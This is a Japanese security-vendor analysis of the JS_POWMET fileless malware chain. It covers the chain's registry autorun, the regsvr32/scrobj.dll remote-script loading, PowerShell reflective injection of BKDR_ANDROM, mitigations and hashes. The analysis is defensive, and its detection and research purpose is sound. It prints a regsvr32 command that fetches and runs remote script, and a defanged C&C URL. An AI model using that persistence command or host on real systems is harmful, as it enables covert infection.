より高度な「ファイルレス活動」を実現した一連のマルウェアを確認

サイバー犯罪者は、自身の攻撃を悟られないためになるべく痕跡を残さない攻撃手法を利用します。今回、トレンドマイクロは、マルウェア「JS_POWMET(パウメット)」(「JS_POWMET.DE」として検出)を起点とする不正活動において、より高度な「ファイルレス活動」が行われていることを確認しました。このスクリプト系マルウェアは、Windows のレジストリを利用した自動実行によって、遠隔操作サーバ(C&C サーバ)上から活動開始します。その後もマルウェアの不正コードをファイルではなくレジストリに保存して実行するなど、侵入段階から最終的に実行されるバックドア型マルウェアまで、物理的にマルウェア自体のファイルを作成せずに不正活動を遂行します。

近年では、2016 年末から標的型サイバー攻撃での使用が確認されている RAT「ChChes」をはじめ、2017 年 4 月に確認された暗号化型ランサムウェア「SOREBRECT」といった、ファイルを利用しないマルウェアによる攻撃が見られています。サイバー犯罪者にとって、マルウェアのファイルレス活動はセキュリティ対策の回避を可能にする非常に有効な攻撃方法です。多くのセキュリティ対策製品はマルウェア検出の際にファイル単位の検索を行うため、ファイルが存在しないと検出できなくなります。また、サンドボックスを利用したセキュリティリサーチャー・解析者にとっても、実行可能なファイルを作成しない感染手順は、解析困難なものとなります。ただし、これまで確認されていたファイルレス活動では、マルウェア本体を起動するためのコードなど、なんらかのファイルがどこかの段階で作成されており、実行可能な状態のマルウェア本体がファイルとして保存されないという状況を意味していました。しかし、今回確認された JS_POWMET では、確認されている範囲の活動においてはまったくファイルが作成されません。より完全な「ファイルレス」に近くなったものと言えます。

■ JS_POWMET の解析

図1
図 1:JS_POWMET を起点とした感染フロー

JS_POWMET の正確な侵入方法はまだ判明していませんが、利用者が不正な Web サイトにアクセスした際にダウンロードされたファイル、または他のマルウェアによって作成されたファイルが発端となると考えられています。したがって、この侵入の初期段階では何らかのマルウェアファイルが存在していた可能性があります。確実なことは、JS_POWMET がPC に侵入する時点で、既に以下のようにレジストリが変更されているという点です。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = “regsvr32 /s /n /u /i:{JS_POWMETをダウンロードするための不正なURL}scrobj.dll”

上記の変更されたレジストリ値により、JS_POWMET の不正スクリプトが自動的にダウンロードされます。表 1 は、「regsvr32」に渡されるパラメータの意味をまとめたものです。regsvr32 は、DLL ファイルをレジストリに登録する際に利用される Windows の正規プログラムであり、マルウェアではありません。

パラメータ 説明
/s メッセージを表示せずに regsvr32 を実行
/n 「DllRegisterServer」を呼び出さずに regsvr32 を実行
/u サーバの登録を解除
/i URL のような省略可能なパラメータを「DLLInstall」に渡す
scrobj.dll
(登録するDLL)
Windows のスクリプト・コンポーネント・ランタイム

表 1:regsvr32 に渡されるパラメータ

これらのコマンドにより、regsvr32 は、パラメータとして渡された URL にアクセスし、JS_POWMET 本体の不正スクリプトコードを含む XML ファイルをダウンロードします。ただし、この JS_POWMET の本体である XML ファイルは PC 内にファイルとして保存されることはなく、スクリプトとして読み込まれ、直接実行されます。つまり、感染 PC は、起動するたびに自動的にコマンド&コントロール(C&C)サーバから JS_POWMET の不正スクリプトを読み込み、実行するようになるということです。

実行された JS_POWMET は次に、「TROJ_PSINJECT.A(ピーエスインジェクト)」をダウンロードします。このマルウェアは、Microsoft が開発したコマンドコンソールおよびスクリプト言語「PowerShell」で構成されています。この TROJ_PSINJECT の不正コードもファイルとしては保存されず、Windows の正規機能である PowerShell により直接実行されます。

TROJ_PSINJECT には Base64 方式の文字列として不正コードが含まれており、以下の手順で復号されます。まず、この Base64 方式の文字列が復元され、さらに TROJ_PSINJECT にハードコードされた RC4 鍵を利用して復号されます。ここで得られる文字列は GZIP 形式で圧縮されたデータであり、TROJ_PSINJECT によって解凍されます。この結果、後の活動で利用する「ReflectivePELoader」関数のコードが得られます。

次に、TROJ_PSINJECT は以下の Web サイトに接続し、“favicon”というファイルをダウンロードします。この“favicon”ファイルも内容が読み込まれるだけで、実際にファイルとして感染 PC 内に保存されることはありません。

hxxps://bogerando[.]ru/favicon

“favicon”ファイルの内容は実際には暗号化された「BKDR_ANDROM(アンドロム)」の不正コードです。前出の RC4 鍵を使用して復号され、前出の「ReflectivePELoader」関数によって「PowerShell.exe」のプロセスにインジェクションされます。これら BKDR_ANDROM の不正コードを実行するためのすべての処理は、TROJ_PSINJECT の不正 PowerShell コマンドにより実行されます。

図2

図 2:TROJ_PSINJECT の復号処理部分の不正コード例

実行された BKDR_ANDROM は、感染 PC で PowerShell.exe が実行中であった場合、そのプロセスを終了させます。加えて、以下の情報を収集します。

  • ルートボリュームのシリアル番号
  • オペレーティングシステム(OS)のバージョン
  • プライベート IP アドレス
  • 管理者権限

BKDR_ANDROM は、レジストリに自身の不正コードを暗号化して保存します。また同時に Windows 起動時に自身が毎回実行されるように、レジストリに値を追加します。このレジストリの値には、Base64 方式で変換された PowerShell コマンドを復元するコードが含まれています。この PowerShell コマンドが、レジストリに保存された暗号化された ANDROM の不正コードを復号し、実行します。これが BKDR_ANDROM が不正活動を実施するためのコードです。今回の事例で最終的に実行された不正コードは、BKDR_ANDROM でしたが、同じ手法で別のマルウェアを実行することも当然可能です。

■結論

JS_POWMET から始まる一連のマルウェア感染は、影響という意味では比較的軽度ですが、検出および解析を回避するための攻撃者の取り組みを示すものと言えます。また、比較的珍しい手法であるファイルを利用しない感染が高度化を続けていることも裏付けています。法人や個人は、明らかに確認することのできるマルウェアだけでなく、ほとんど気付かれずに PC に侵入するマルウェアの存在にも常に注意を払う必要があります。

ファイルを利用しないマルウェアの影響を回避するもっとも効果的な方法の 1 つは、ネットワークの最重要部からエンドポイントを分離するコンテナ技術を利用したシステムによって重要なインフラストラクチャへのアクセスを制限することです。今回の事例については、PowerShell 自体を無効化することによって、JS_POWMET や関連マルウェアの影響を軽減することが可能です。

■トレンドマイクロの対策

トレンドマイクロのエンドポイント製品では、今回の JS_POWMET のようにファイルが作成されなくとも不正な活動を防ぐ技術を持っています。まず、活動の際に行われる C&C サーバとの通信は、「Web レピュテーション(WRS)」技術によりブロックし、さらなる不正コードの取得など、不正活動の実施を防ぎます。また、挙動監視機能(不正変更監視機能)の強化により、レジストリの変更などの不正活動を検知してブロックできます。

また、今回の JS_POWMET のファイルレス活動の実行前には、未確認の不正プログラムによるレジストリの変更があったものと推測されています。トレンドマイクロのエンドポイント製品では挙動監視機能(不正変更監視機能)の強化により、侵入時点で検出未対応の不正プログラムであってもその不正活動を検知してブロック可能です。特に「ウイルスバスター™ コーポレートエディション XG」はクロスジェネレーション(XGen)セキュリティアプローチにより、グローバルスレットインテリジェンスに基づくさまざまな高度なセキュリティ技術に加えて、次世代の AI 技術のひとつである高度な機械学習型検索を活用し、実行前・実行後両方に対応する独自のアプローチで、未知のファイルが脅威かどうか判別します。

今回の事例に関連する SHA256 値は以下の通りです。

  • 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc(TROJ_PSINJECT.A
  • e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae(JS_POWMET.DE
  • bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940(BKDR_ANDROM.ETIN

執筆協力:Byron Gelera

参考記事:

翻訳:澤山 高士(Core Technology Marketing, TrendLabs)